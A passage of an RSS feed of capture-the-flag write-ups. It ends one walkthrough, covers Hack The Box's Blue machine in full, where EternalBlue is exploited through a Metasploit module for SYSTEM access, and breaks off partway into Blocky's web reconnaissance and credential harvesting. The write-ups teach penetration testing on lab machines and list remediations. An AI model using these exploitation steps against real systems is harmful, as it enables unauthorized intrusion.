<p>And I find the user flag! I can check the contents of the file with</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<h2 id="heading-step-5-looking-for-the-roottxt-flag"><strong>Step 5 - </strong>Looking for the root.txt flag<em>**</em></h2>
<p>Let's find the root flag now. I navigate up to the <strong>/</strong> folder. You can check where you are with the command</p>
<pre><code class="lang-bash"><span class="hljs-built_in">pwd</span>
</code></pre>
<p>which gives us the print working directory. I then move to the <strong>/root</strong> folder but access is denied.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.02.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I need to change to the root user to access this folder. I use the command</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>to understand which command I can run on localhost. </p>
<p>The root user has unlimited privileges and can run any command on the system and we know that the user pi is part of the root group.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-01.48.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the command</p>
<pre><code class="lang-bash">sudo su
</code></pre>
<p>The <strong>sudo</strong> command allows you to run programs as another user. By default the root user. <strong>su</strong> means switch user. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-01.48.58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can now navigate to the <strong>root</strong> folder. I find the root.txt file and check its content with</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-01.49.46.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Unfortunately for us, it's not the flag but a message that was left instead.</p>
<pre><code class="lang-bash">I lost my original root.txt! I think I may have a backup on my USB stick...
</code></pre>
<p>I now need to find where the usb is located with the command</p>
<pre><code class="lang-bash">lsblk
</code></pre>
<p>to list USB block storage devices. I can see there's one <strong>usbstick</strong> in the <strong>/media</strong> folder:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.25.26.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to this folder and find another message from a user called <strong>James</strong>.</p>
<pre><code class="lang-bash">Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know <span class="hljs-keyword">if</span> there is any way to get them back?

-James
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.16.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When we listed all the storage devices, we saw that the usbstick was located at <strong>sdb</strong>, which is under <strong>/dev/sdb/</strong>. More info <a target="_blank" href="https://help.ubuntu.com/lts/installation-guide/armhf/apcs04.html">here</a> on disks and partitioning.</p>
<p>If we use the following command:</p>
<pre><code class="lang-bash">cat /dev/sdb
</code></pre>
<p>We will have a long output with a lot of weird characters. At the end of this input you should find the <strong>root</strong> flag.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.38.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>A more elegant way to see the text inside a binary or data file is to use the command <strong>strings</strong>. This command pulls those bits of text—called “strings”.</p>
<pre><code class="lang-bash">strings /dev/sdb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.41.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>You can read more about the Mirai DDoS botnet attack <a target="_blank" href="https://www.imperva.com/blog/malware-analysis-mirai-ddos-botnet/">here</a></li>
<li>Don't use default/generic passwords</li>
<li>Disable remote access to your devices when not needed</li>
</ul>
<p>Please don’t hesitate to comment, ask questions, or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/cyberpunk-city-rt-2560x1440-1.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Blue ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.  It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style o... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-blue/</link>
                <guid isPermaLink="false">66ba31179c0c8a21e6a81058</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Tue, 18 Aug 2020 21:37:01 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/08/2950db3b33ef23f38b5b41f2a00e9da7-1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. </p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/07/Screenshot-2020-07-29-at-21.06.35.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Blue is one of the simplest machines on Hack The Box. But it demonstrates the impact of the EternalBlue exploit, which has been used to compromise companies through large-scale ransomware and crypto-mining attacks.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>searchsploit</li>
<li>metasploit</li>
<li>meterpreter</li>
</ul>
<p>Let's get started.</p>
<p>First, I add <strong>Blue</strong> on the /etc/hosts file.</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.40     blue.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-20.36.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning">Port scanning</h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. </p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-20.41.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v blue.htb
</code></pre>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>blue</strong>.htb:<em>**</em> hostname for the Blue box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap blue.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-20.42.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are quite a few open ports including:</p>
<p><strong>Port</strong> 445, Microsoft-DS (Directory Services) SMB file sharing</p>
<p>From the nmap scan, we have some information concerning the computer name (haris-PC) and the SMB version (2.02). </p>
<p>The <a target="_blank" href="https://en.wikipedia.org/wiki/Server_Message_Block">Server Message Block (SMB)</a> is a network protocol that enables users to communicate with remote computers and servers in order to use their resources or share, open, and edit files.</p>
<p>From the name of this box and that it's a Windows machine with port 445 opened, we can assume the machine is vulnerable to EternalBlue. I use an nmap script to verify this information with the following:</p>
<pre><code class="lang-bash">nmap --script vuln -p 445 blue.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-20.46.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that the box is vulnerable to a Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010).</p>
<h2 id="heading-step-2-understanding-ms17-010"><strong>Step 2 - Understanding ms17-010</strong></h2>
<p>What is ms17-010?</p>
<blockquote>
<p><strong>EternalBlue</strong> is a cyberattack exploit developed by the U.S. National Security Agency (NSA). It was leaked by the Shadow Brokers hacker group on April 14, 2017, one month after Microsoft released patches for the vulnerability - Wikipedia</p>
</blockquote>
<p>You can read more <a target="_blank" href="null"></a><a target="_blank" href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010">here</a>. This vulnerability was patched and is listed on Microsoft’s Security Bulletin as MS17-010.</p>
<p>EternalBlue allows hackers to remotely execute arbitrary code to gain access to a network. It exploits a vulnerability in the Windows OS SMB protocol. The exploit can compromise the entire network and devices connected to it. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/image-94.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Malware that utilises EternalBlue can propagate across networks. In 2017, <a target="_blank" href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">WannaCry</a> – a crypto-ransomware – used the EternalBlue exploit which spread itself across the network infecting all connected devices. </p>
<h2 id="heading-step-3-exploiting-eternalblue"><strong>Step 3 - Exploiting EternalBlue</strong></h2>
<p>I use <strong>Searchsploit</strong> to check if there is any known exploit. Searchsploit is a command line search tool for <a target="_blank" href="https://www.exploit-db.com/">Exploit Database</a>.</p>
<p>I use the following command:</p>
<pre><code class="lang-bash">searchsploit eternalblue
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.05.04.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can get more details on an exploit with:</p>
<pre><code class="lang-bash">searchsploit -x 41738.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.04.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also check the <strong>Exploit Database</strong> to find the exploit.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-20.55.20.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.exploit-db.com/exploits/42315">https://www.exploit-db.com/exploits/42315</a></em></p>
<p>There is one Metasploit module available.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-20.56.41.png" alt="Image" width="600" height="400" loading="lazy">
_<a target="_blank" href="https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue">https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue</a>_</p>
<p>We will use <strong>Metasploit</strong>, which is a penetration testing framework that makes hacking simple. It's an essential tool for many attackers and defenders.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/Screenshot-2019-08-02-at-21.14.13.png" alt="Image" width="600" height="400" loading="lazy">
<em>[https://www.metasploit.com/](https://www.metasploit.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-size: 17.6px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;)</em></p>
<p>I launch the <strong>Metasploit Framework</strong> on Kali and look for the command I should use for the exploit.</p>
<p>Don't forget to update Metasploit when you launch it with this command:</p>
<pre><code class="lang-bash">msfupdate
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.03.30.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also check if the target is vulnerable to EternalBlue on Metasploit using an auxiliary. Start with this command:</p>
<pre><code class="lang-bash">search eternalblue
</code></pre>
<p>then in that case</p>
<pre><code class="lang-bash">use 1
</code></pre>
<p>to select</p>
<pre><code class="lang-bash">auxiliary/scanner/smb/smb_ms17_010
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.10.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can check the options with</p>
<pre><code class="lang-bash">show options
</code></pre>
<p>and set RHOSTS with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> RHOSTS blue.htb
</code></pre>
<p>Then run the auxiliary with</p>
<pre><code class="lang-bash">run
</code></pre>
<p>You can see that the host is likely to be vulnerable to MS17-010!</p>
<p>Let's now check the exploit with</p>
<pre><code class="lang-bash">use 2
</code></pre>
<p>or the command</p>
<pre><code class="lang-bash">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.31.53.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We need to set up the options for RHOSTS </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.31.59.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and LHOST – mine was 10.10.14.24. You will need to set it up with your own LHOST. You can check yours <a target="_blank" href="https://www.hackthebox.eu/home/htb/access">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.30.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Before running the exploit, you can check here if the machine is vulnerable – this will run the auxiliary we used earlier with the command</p>
<pre><code class="lang-bash">check
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.32.10.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then run the exploit with</p>
<pre><code class="lang-bash">run
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.30.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The exploit had to run several times before I got a <strong>Meterpreter</strong> session.</p>
<p>Here's the definition of Meterpreter from <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/">Offensive Security</a>:</p>
<blockquote>
<p>Meterpreter is an advanced, dynamically extensible payload that uses <em>in-memory</em> DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.</p>
</blockquote>
<p>You can read more about Meterpreter <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.29.46.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Let's start by gathering some information.</p>
<p><strong>getuid</strong> returns the real user ID of the calling process.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.28.39.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>NT Authority</strong>*<em>SYSTEM*</em> or LocalSystem account is a built-in Windows account. It is the most powerful account on a Windows local instance. We have admin access on that machine.</p>
<h2 id="heading-step-4-looking-for-the-usertxt-flag"><strong>Step</strong> 4 <strong>-</strong> Looking for the user.txt flag</h2>
<p>I navigate to the <strong>haris</strong> folder from <strong>Documents and Settings</strong>.</p>
<p>I can list all the files/folders with the following command:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p>I then move to the <strong>Desktop</strong> with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> Desktop
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.27.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I can check the contents of the file with</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<h2 id="heading-step-5-looking-for-the-roottxt-flag"><strong>Step 5 -</strong> Looking for the root.txt flag</h2>
<p>Let's find the root flag now. I navigate up to <strong>Users</strong> and check in to the <strong>Administrator</strong>/<strong>Desktop</strong> folder. I find the flag!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-17-at-21.26.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to see the content of the file:</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations">Remediations</h2>
<ul>
<li>Patch your devices with the security update for Microsoft Windows SMB v1. You can check the <a target="_blank" href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010">Microsoft Security Bulletin</a> to see which OS's are affected</li>
<li>Disable SMB v1 and use SMB v2 or v3</li>
<li>Apply the p<a target="_blank" href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">rinciple of least privilege</a> to all your systems and services</li>
</ul>
<p>Please don’t hesitate to comment, ask questions or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="null"></a><a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/2950db3b33ef23f38b5b41f2a00e9da7.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Blocky ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-blocky/</link>
                <guid isPermaLink="false">66ba3113a9ac9d8fdaa3d4e2</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Thu, 21 May 2020 10:15:25 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper-3.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>. <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-19-at-22.23.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Blocky is fairly simple overall, and was based on a real-world machine. It demonstrates the risks of bad password practices as well as exposing internal files on a public facing system.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>nikto</li>
<li>gobuster</li>
<li>wpscan</li>
<li>jd-gui</li>
<li>hash-identifier</li>
</ul>
<p>Let's get started.</p>
<p>I add blocky on the /etc/hosts file</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.37     blocky.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.05.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-1-reconnaissance">Step 1 - Reconnaissance</h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h2 id="heading-port-scanning">Port scanning</h2>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. </p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.24.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v blocky.htb
</code></pre>
<p><strong>-A:</strong> Enable OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increase verbosity level</p>
<p><strong>blocky.htb:</strong> hostname for the Blocky box</p>
<p>If you find the results a little bit too overwhelming, you can do another command to get only the open ports.</p>
<pre><code class="lang-bash">nmap blocky.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.23.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 3 open ports:</p>
<p><strong>Port 21</strong>, File Transfer Protocol (FTP) control (command)</p>
<p><strong>Port 22</strong>, Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<h2 id="heading-directory-scanning">Directory scanning</h2>
<p>I use <strong>Gobuster</strong>. Gobuster is a directory scanner written in Go. More info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>. Gobuster uses wordlists on Kali which are located in the <strong>/usr/share/wordlists</strong> directory. I'm using wordlists from <strong>dirb</strong> and <strong>dirbuster</strong>, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.33.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command for the dirb common.txt wordlist</p>
<pre><code class="lang-bash">gobuster dir -u blocky.htb -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.34.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see some there are <strong>WordPress</strong> directories (wp-admin, wp-content-wp-includes). There is also a couple of other interesting pages (/phpmyadmin and /plugins)</p>
<p>I use <strong>Nikto</strong>. </p>
<blockquote>
<p>Nikto is an Open Source web server scanner which performs comprehensive tests against web servers for multiple items, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. </p>
</blockquote>
<p>More info on the tool <a target="_blank" href="null"></a><a target="_blank" href="https://tools.kali.org/information-gathering/nikto">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.29.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command to launch the scan</p>
<pre><code class="lang-bash">nikto -host blocky.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.30.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I see a couple of directories that could be interesting (/wp-content/uploads/ and /wp-login.php)</p>
<p>Finally I use <strong>WPScan</strong>. WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.27.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command to launch the scan</p>
<pre><code class="lang-bash">wpscan --url blocky.htb -e
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.27.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.28.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We have one username, <strong>Notch</strong></p>
<h2 id="heading-step-2-visiting-the-web-page">Step 2 - Visiting the web page</h2>
<p>Let's visit the pages we found from the reconnaissance phase. Let's start by the main web page. It's a blog on Minecraft - <strong>BlockyCraft</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.38.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.39.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I look at the <strong>wiki</strong> page. Nothing interesting</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.19.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have a look at the <strong>/wp-content/uploads</strong> page. Nothing interesting</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.31.50.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>admin</strong> panel</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.32.27.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>as well as the <strong>phpMyAdmin</strong> panel</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.33.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to the <strong>/plugins</strong> folder and find two <strong>jar</strong> files. </p>
<blockquote>
<p>A <strong>JAR</strong> is a package file format typically used to aggregate many Java class files and associated metadata and resources into one file for distribution. JAR files are archive files that include a Java-specific manifest file. They are built on the ZIP format and typically have a .jar file extension </p>
</blockquote>
<p>I download both zip files on my Kali box</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.35.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use <strong>JD-Gui</strong> to be decompile the java files. JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. More info on the tool <a target="_blank" href="https://tools.kali.org/reverse-engineering/jd-gui">here</a></p>
<p>I launch the tool with</p>
<pre><code class="lang-bash">jd-gui
</code></pre>
<p>And then select the JAVA class I want to read - <strong>BlockyCore.class</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.04.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see a username and a password</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.36.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate back to <strong>phpMyAdmin</strong> and enter the credentials I just found. I have access to the database</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.37.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have a look at the table <strong>wp_users</strong> within the <strong>wordpress</strong> folder to see if I can get more information about the users of the blog</p>
<p>The SQL query</p>
<pre><code class="lang-bash">SELECT * FROM `wp_users`
</code></pre>
<p>which can be translated by select all the users from the table wp_users would only give us one result, <strong>Notch</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.40.27.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use <strong>hash-identifier</strong> to identify the possible hash. Hash-identifier is a software to identify the different types of hashes used to encrypt data and especially passwords. You can find more information <a target="_blank" href="https://tools.kali.org/password-attacks/hash-identifier">here</a>.</p>
<p>I launch hash-identifier with the following command:</p>
<pre><code class="lang-bash">hash-identifier
</code></pre>
<p>and copy/paste the hashed password I got earlier:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.41.04.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We see the hash is most likely to be an <strong>MD5 (Wordpress) hash</strong></p>
<h2 id="heading-step-3-using-the-port-22">Step 3 - Using the port 22</h2>
<p>I'm back on my terminal and connect using SSH</p>
<blockquote>
<p>The SSH protocol (also referred to as Secure Shell) is a method for secure remote login from one computer to another. It provides several alternative options for strong authentication, and it protects the communications security and integrity with strong encryption. It is a secure alternative to the non-protected login protocols (such as <a target="_blank" href="https://www.ssh.com/ssh/telnet"><strong>telnet</strong></a>, rlogin) and insecure file transfer methods (such as <a target="_blank" href="https://www.ssh.com/ssh/ftp/"><strong>FTP</strong></a>).</p>
</blockquote>
<p>More info <a target="_blank" href="https://www.ssh.com/ssh/protocol/">here</a> on the SSH Protocol</p>
<p>I use the following command</p>
